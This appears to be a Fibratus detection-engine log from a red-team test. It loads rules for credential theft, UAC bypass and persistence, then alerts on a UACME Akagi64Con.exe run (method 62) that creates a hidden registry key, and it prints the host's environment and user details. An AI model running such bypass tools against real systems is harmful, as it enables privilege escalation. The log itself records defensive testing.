C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:42:05+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:42:05+01:00 level=info msg=bootstrapping with pid 8976. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:42:05+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html use-template=>true to=>[] enabled=>false port=>25] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-threads=>false] + eventsource .................... [ max-buffers=>36 enable-audit-api=>true enable-handle=>false enable-registry=>true enable-thread=>true enable-image=>true enable-dns=>false enable-threadpool=>false enable-vamap=>true min-buffers=>16 flush-interval=>1s enable-net=>true enable-mem=>false stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-size=>100 log-stdout=>true max-backups=>15 level=>info max-age=>0] + output ......................... [ eventlog=>[ enabled=>false level=>info] amqp=>[ exchange=>fibratus exchange-type=>topic durable=>false delivery-mode=>transient vhost=>/ passive=>false enabled=>false url=>amqp://localhost:5672 timeout=>5s tls-insecure-skip-verify=>false routing-key=>fibratus] http=>[ tls-insecure-skip-verify=>false endpoints=>[] serializer=>json enabled=>false method=>POST enable-gzip=>false timeout=>5s] elasticsearch=>[ template-name=>fibratus trace-log=>false healthcheck=>true gzip-compression=>false healthcheck-interval=>10s sniff=>false index-name=>fibratus timeout=>5s enabled=>false flush-period=>1s servers=>[http://127.0.0.1:9200] bulk-workers=>1 healthcheck-timeout=>5s] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-resources=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ enabled=>false skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false skip-registry=>false fastscan=>true excluded-procs=>[] scan-timeout=>10s skip-allocs=>false excluded-files=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:42:05+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:42:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:42:18+01:00 level=info msg=sending alert: [Hidden registry key creation]. Text: Hidden registry key HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\{C6D05868-8495-41DE-B569-50B8582606D6}\ created by process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 9689189 + Pid: 18096 + Tid: 14592 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:42:12.6415345 +0100 CET + Params: key_handle➜ ffffc38f3e685ac0, key_path➜ HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\{C6D05868-8495-41DE-B569-50B8582606D6}\, status➜ Success + Metadata: technique.id: T1112, rule.name: Hidden registry key creation, technique.name: Modify Registry, technique.ref: https://attack.mitre.org/techniques/T1112/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 18096 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 62 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 62] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T15:42:19+01:00 level=info msg=sending alert: [UAC bypass via command handler hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T15:42:25+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:42:25+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:42:26+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:44:56+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:44:56+01:00 level=info msg=loading rule from 